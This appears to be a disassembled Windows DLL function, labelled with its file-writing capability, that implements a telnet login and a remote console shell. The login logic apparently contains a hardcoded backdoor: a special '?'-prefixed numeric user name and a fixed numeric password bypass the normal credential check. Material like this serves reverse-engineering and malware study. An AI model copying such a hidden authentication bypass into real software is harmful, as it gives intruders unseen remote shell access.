Function at 0x10019850
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x1002a6f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb4
push ebx
push ebp
mov ebp, ecx
push esi
push edi
mov edi, dword [esp + 0xd4]
mov al, byte [ebp + 0x24]
mov dword [esp + 0x24], ebp
test al, al
je 0x10019a0d
mov bl, byte [esp + 0x23]
xor esi, esi
mov ecx, dword [edi]
push 0xffffffffffffffff
push str.loguser:
push 8
call fcn.1000fb30
cmp eax, 6
jl 0x10019b9e
push 0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x2c], bl
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [esp + 0x23]
push 0
lea ecx, [esp + 0x54]
mov dword [esp + 0xd0], 0
mov byte [esp + 0x54], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 0xa
lea ecx, [esp + 0x2c]
push 0xffffffffffffffff
push ecx
push edi
mov ecx, ebp
mov byte [esp + 0xdc], 1
call fcn.100193e0
mov ecx, dword [edi]
push 0xffffffffffffffff
test al, al
je 0x10019acd
push str._r_npassword:
push 0xb
call fcn.1000fb30
push 0xa
lea edx, [esp + 0x54]
push 0x2a
push edx
push edi
mov ecx, ebp
call fcn.100193e0
test al, al
je 0x10019ad6
lea eax, [ebp + 4]
lea ecx, [esp + 0x28]
push eax
push ecx
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 8
test al, al
je 0x1001994f
lea edx, [ebp + 0x14]
lea eax, [esp + 0x50]
push edx
push eax
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 8
test al, al
jne 0x10019ae3
cmp dword [esp + 0x30], 8
jne 0x100199bf
cmp dword [esp + 0x58], 4
jne 0x100199bf
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x10019977
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x2c]
mov ecx, eax
jmp 0x1001997d
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x3f
jne 0x100199bf
test eax, eax
jne 0x1001998b
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_atol]
add esp, 4
cmp eax, 0x69983
jne 0x100199bf
mov eax, dword [esp + 0x54]
test eax, eax
jne 0x100199aa
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
call dword [sym.imp.MSVCRT.dll_atol]
add esp, 4
cmp eax, 0x7b6
je 0x10019ae3
mov ecx, dword [edi]
cmp esi, 2
push 0xffffffffffffffff
jge 0x10019b13
push str._r_nuser_or_password_is_wrong_please_try_again___r_n
push 0x30
call fcn.1000fb30
push 1
lea ecx, [esp + 0x54]
mov byte [esp + 0xd0], 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x2c]
mov dword [esp + 0xd0], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
inc esi
cmp esi, 3
jl 0x1001988d
mov ecx, dword [edi]
or esi, 0xffffffff
push esi
push 0x10032858
push 2
call fcn.1000fb30
mov eax, dword [ebp + 0x30]
mov edx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
test eax, eax
je 0x10019a2e
mov edx, eax
mov eax, dword [ebp + 0x34]
mov ecx, dword [edi]
push esi
push edx
push eax
call fcn.1000fb30
mov eax, dword [edi]
push str._____Support_specific_commands_are:__________r_n_exit______end_session_r_n_echo_on_______turn_echo_on_r_n_echo_off______turn_echo_off_r_n_____________________________________________r_n
push eax
call fcn.1000fc90
mov ecx, dword [0x10032fe0]
add esp, 8
push str._Telnet__one_telnet_client_is_connnected._r_n
push 0
push 0
call fcn.1000a350
lea ecx, [esp + 0x60]
call fcn.1001f300
lea ecx, [esp + 0x3c]
mov dword [esp + 0xcc], 2
call fcn.100166a0
mov edx, dword [ebp]
mov ecx, ebp
mov byte [esp + 0xcc], 3
call dword [edx + 4]
test al, al
je 0x10019ba5
lea ecx, [esp + 0x60]
call fcn.1001f400
test al, al
jne 0x10019b51
lea ecx, [esp + 0x3c]
mov byte [esp + 0xcc], 2
call fcn.100166b0
lea ecx, [esp + 0x60]
mov dword [esp + 0xcc], esi
call fcn.1001f340
xor al, al
jmp 0x1001a40c
push str._r_n___Timeout__r_n
push 0xc
jmp 0x10019b1a
mov ecx, dword [edi]
push 0xffffffffffffffff
push str._r_nTimeout__r_n
push 0xc
jmp 0x10019b1a
push 1
lea ecx, [esp + 0x54]
mov byte [esp + 0xd0], 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x2c]
mov dword [esp + 0xd0], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
jmp 0x10019a0d
push str._r_nTry_too_much_to_be_disconnect._r_n
push 0x22
call fcn.1000fb30
push 1
lea ecx, [esp + 0x54]
mov byte [esp + 0xd0], 0
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
push 1
lea ecx, [esp + 0x2c]
mov dword [esp + 0xd0], 0xffffffff
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
xor al, al
jmp 0x1001a40c
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10019b7d
mov ecx, dword [edi]
lea edx, [esp + 0x60]
mov dword [eax + 4], ecx
push eax
push 0x100197b0
lea ecx, [esp + 0x44]
mov dword [eax], edx
call fcn.100166c0
test al, al
jne 0x10019ba5
lea ecx, [esp + 0x3c]
mov byte [esp + 0xcc], 2
call fcn.100166b0
lea ecx, [esp + 0x60]
mov dword [esp + 0xcc], esi
call fcn.1001f340
xor al, al
jmp 0x1001a40c
mov edx, dword [ebp + 0x28]
mov al, byte [esp + 0x23]
inc edx
push 0
lea ecx, [esp + 0x14]
mov dword [ebp + 0x28], edx
mov dword [esp + 0x3c], esi
mov byte [esp + 0x14], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov al, byte [ebp + 0x4c]
mov byte [esp + 0xcc], 4
test al, al
jne 0x1001a381
mov al, byte [esp + 0x48]
test al, al
jne 0x10019c05
mov eax, dword [esp + 0x24]
mov edx, dword [eax + 0x40]
test edx, edx
jne 0x10019bf0
mov edx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ecx, dword [esp + 0xd4]
mov eax, dword [eax + 0x44]
push 0xffffffffffffffff
push edx
mov ecx, dword [ecx]
push eax
call fcn.1000fb30
mov edi, 0x10032f90
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x14]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x10019c4b
mov edi, dword [esp + 0x14]
mov ecx, ebp
mov edx, ecx
mov esi, 0x10032f90
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
mov eax, dword [esp + 0x38]
mov ebx, dword [esp + 0xd4]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
push eax
push ecx
mov ecx, dword [esp + 0x30]
push ebx
call fcn.100193e0
test al, al
je 0x1001a381
mov esi, dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
lea edx, [esp + 0x10]
push str.exit
push edx
call esi
add esp, 8
test al, al
jne 0x1001a381
lea eax, [esp + 0x10]
push str.echo_off
push eax
call esi
add esp, 8
test al, al
je 0x10019cd3
mov edi, 0x10032f90
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x3c], 0
mov ebp, ecx
lea ecx, [esp + 0x14]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a069
jmp 0x1001a045
lea eax, [esp + 0x10]
push str.echo_on
push eax
call esi
add esp, 8
test al, al
je 0x10019d19
mov edi, 0x10032f90
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x3c], 0xffffffff
mov ebp, ecx
lea ecx, [esp + 0x14]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a069
jmp 0x1001a045
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10019d33
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
mov ecx, eax
jmp 0x10019d39
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 3
jne 0x10019d50
mov eax, dword [esp + 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
jmp 0x1001a372
mov ecx, dword [esp + 0x18]
mov esi, 6
cmp ecx, esi
jne 0x1001a06d
test eax, eax
je 0x10019d77
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
mov ecx, eax
jmp 0x10019d7d
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x43
jne 0x10019efb
cmp dword [esp + 0x18], 1
jb 0x10019da4
test eax, eax
je 0x10019da4
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 1]
jmp 0x10019daa
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x72
jne 0x10019efb
cmp dword [esp + 0x18], 2
jb 0x10019dd1
test eax, eax
je 0x10019dd1
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 2]
jmp 0x10019dd7
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x53
jne 0x10019efb
cmp dword [esp + 0x18], 3
jb 0x10019dfe
test eax, eax
je 0x10019dfe
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 3]
jmp 0x10019e04
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x68
jne 0x10019efb
cmp dword [esp + 0x18], 4
jb 0x10019e2b
test eax, eax
je 0x10019e2b
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 4]
jmp 0x10019e31
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x65
jne 0x10019efb
cmp dword [esp + 0x18], 5
jb 0x10019e58
test eax, eax
je 0x10019e58
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 5]
jmp 0x10019e5e
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x6c
jne 0x10019efb
mov al, byte [esp + 0x48]
test al, al
jne 0x10019ebc
lea ecx, [esp + 0x60]
call fcn.1001f400
test al, al
je 0x10019ebc
push 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x10019ea8
mov ecx, dword [ebx]
lea edx, [esp + 0x60]
mov dword [eax + 4], ecx
push eax
push 0x100197b0
lea ecx, [esp + 0x44]
mov dword [eax], edx
call fcn.100166c0
test al, al
jne 0x10019ebc
lea ecx, [esp + 0x60]
call fcn.1001f350
push 0xffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.10016700
mov edi, 0x10032f90
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x14]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a069
mov edi, dword [esp + 0x14]
mov ecx, ebp
mov eax, ecx
mov esi, 0x10032f90
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x1001a059
cmp dword [esp + 0x18], esi
jne 0x1001a06d
test eax, eax
je 0x10019f1b
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
mov ecx, eax
jmp 0x10019f21
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x44
jne 0x1001a06d
cmp dword [esp + 0x18], 1
jb 0x10019f48
test eax, eax
je 0x10019f48
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 1]
jmp 0x10019f4e
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x65
jne 0x1001a06d
cmp dword [esp + 0x18], 2
jb 0x10019f75
test eax, eax
je 0x10019f75
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 2]
jmp 0x10019f7b
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x53
jne 0x1001a06d
cmp dword [esp + 0x18], 3
jb 0x10019fa2
test eax, eax
je 0x10019fa2
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 3]
jmp 0x10019fa8
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x68
jne 0x1001a06d
cmp dword [esp + 0x18], 4
jb 0x10019fcf
test eax, eax
je 0x10019fcf
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 4]
jmp 0x10019fd5
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x65
jne 0x1001a06d
cmp dword [esp + 0x18], 5
jb 0x10019ffc
test eax, eax
je 0x10019ffc
lea ecx, [esp + 0x10]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Freeze_void_]
mov eax, dword [esp + 0x14]
lea ecx, [eax + 5]
jmp 0x1001a002
mov ecx, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
cmp byte [ecx], 0x6c
jne 0x1001a06d
mov al, byte [esp + 0x48]
test al, al
je 0x1001a023
lea ecx, [esp + 0x60]
call fcn.1001f350
push 0xffffffffffffffff
lea ecx, [esp + 0x40]
call fcn.10016700
mov edi, 0x10032f90
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x14]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a069
mov edi, dword [esp + 0x14]
mov ecx, ebp
mov edx, ecx
mov esi, 0x10032f90
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
mov eax, dword [esp + 0x14]
mov cl, byte [esp + 0x48]
test cl, cl
je 0x1001a2b2
mov ecx, dword [esp + 0x38]
test ecx, ecx
je 0x1001a160
mov ecx, dword [esp + 0x18]
test ecx, ecx
jbe 0x1001a160
mov al, byte [esp + 0x23]
push 0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x2c], al
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov esi, dword [esp + 0x18]
mov eax, dword [esp + 0x30]
cmp esi, eax
mov byte [esp + 0xcc], 5
ja 0x1001a0cf
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
push edx
push esi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::erase_unsigned_int__unsigned_int_]
jmp 0x1001a12c
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
sub esi, eax
mov edx, dword [ecx]
sub edx, eax
cmp edx, esi
ja 0x1001a0e5
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
test esi, esi
jbe 0x1001a12c
mov eax, dword [esp + 0x30]
push 0
lea ecx, [esp + 0x2c]
lea ebp, [eax + esi]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a12c
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
mov eax, 0x8080808
push ebp
lea edi, [edx + ecx]
mov ecx, esi
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x2c]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Eos_unsigned_int_]
mov eax, dword [esp + 0x2c]
test eax, eax
jne 0x1001a139
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ecx, dword [ebx]
push 0xffffffffffffffff
push eax
mov eax, dword [esp + 0x38]
push eax
call fcn.1000fb30
push 1
lea ecx, [esp + 0x2c]
mov byte [esp + 0xd0], 4
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x1001a169
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push 6
push str.retr
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x1001a1e0
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x1001a18b
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov ecx, dword [esp + 0x24]
add eax, 6
push ebx
push eax
call fcn.1001a430
mov edi, 0x10032f90
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebp, ecx
lea ecx, [esp + 0x14]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a1e0
mov edi, dword [esp + 0x14]
mov ecx, ebp
mov edx, ecx
mov esi, 0x10032f90
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ebp
mov byte [eax + ebp], 0
mov edi, 0x10032858
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
mov edx, dword [ecx]
mov ecx, dword [esp + 0x18]
sub edx, ecx
cmp edx, esi
ja 0x1001a209
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
test esi, esi
jbe 0x1001a251
mov eax, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x14]
lea ebp, [eax + esi]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a251
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
lea edi, [edx + ecx]
mov ecx, esi
mov eax, ecx
mov esi, 0x10032858
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x18], ebp
mov byte [ecx + ebp], 0
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x1001a266
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
test eax, eax
je 0x1001a372
mov edx, dword [esp + 0x18]
test edx, edx
jle 0x1001a372
mov ecx, dword [esp + 0xb8]
test ecx, ecx
je 0x1001a381
lea esi, [esp + 0x4c]
push 0
push esi
push edx
push eax
push ecx
mov dword [esp + 0x60], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1001a381
mov eax, dword [esp + 0x4c]
test eax, eax
jl 0x1001a381
jmp 0x1001a372
lea edx, [esp + 0x10]
push 0x10032f90
push edx
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
add esp, 8
test al, al
je 0x1001a2d6
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x10]
push edx
mov eax, dword [ecx]
call dword [eax]
mov edi, 0x10032858
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x18]
repne scasb al, byte es:[edi]
mov eax, dword [sym.imp.MSVCP60.dll_unsigned_int_const_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::npos]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [eax]
sub ecx, edx
cmp ecx, esi
ja 0x1001a2fe
call dword [sym.imp.MSVCP60.dll_void___cdecl_std::_Xlen_void_]
test esi, esi
jbe 0x1001a356
mov edx, dword [esp + 0x18]
push 0
lea ecx, [esp + 0x14]
lea ebp, [edx + esi]
push ebp
call dword [sym.imp.MSVCP60.dll_private:_bool___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Grow_unsigned_int__bool_]
test al, al
je 0x1001a356
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
push eax
push ecx
lea edx, [ecx + esi]
push edx
call dword [sym.imp.MSVCRT.dll_memmove]
mov edi, dword [esp + 0x20]
mov ecx, esi
mov eax, ecx
mov esi, 0x10032858
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
add esp, 0xc
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x18], ebp
mov byte [ecx + ebp], 0
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x1001a363
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
mov edx, dword [esp + 0x18]
mov ecx, dword [ebx]
push 0xffffffffffffffff
push eax
push edx
call fcn.1000fb30
mov eax, dword [esp + 0x24]
mov cl, byte [eax + 0x4c]
test cl, cl
je 0x10019bd7
mov eax, dword [esp + 0x24]
mov ecx, dword [eax + 0x28]
dec ecx
mov dword [eax + 0x28], ecx
lea ecx, [esp + 0x60]
call fcn.1001f350
push 1
lea ecx, [esp + 0x40]
call fcn.10016700
mov ecx, dword [0x10032fe0]
xor esi, esi
push str._Telnet__one_telnet_client_is_closing._r_n
push esi
push esi
call fcn.1000a350
mov eax, dword [esp + 0x14]
cmp eax, esi
je 0x1001a3d9
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x1001a3d0
cmp al, 0xff
je 0x1001a3d0
dec al
mov byte [ecx], al
jmp 0x1001a3d9
push ecx
call fcn.10009e1d
add esp, 4
lea ecx, [esp + 0x3c]
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
mov byte [esp + 0xcc], 2
call fcn.100166b0
lea ecx, [esp + 0x60]
mov dword [esp + 0xcc], 0xffffffff
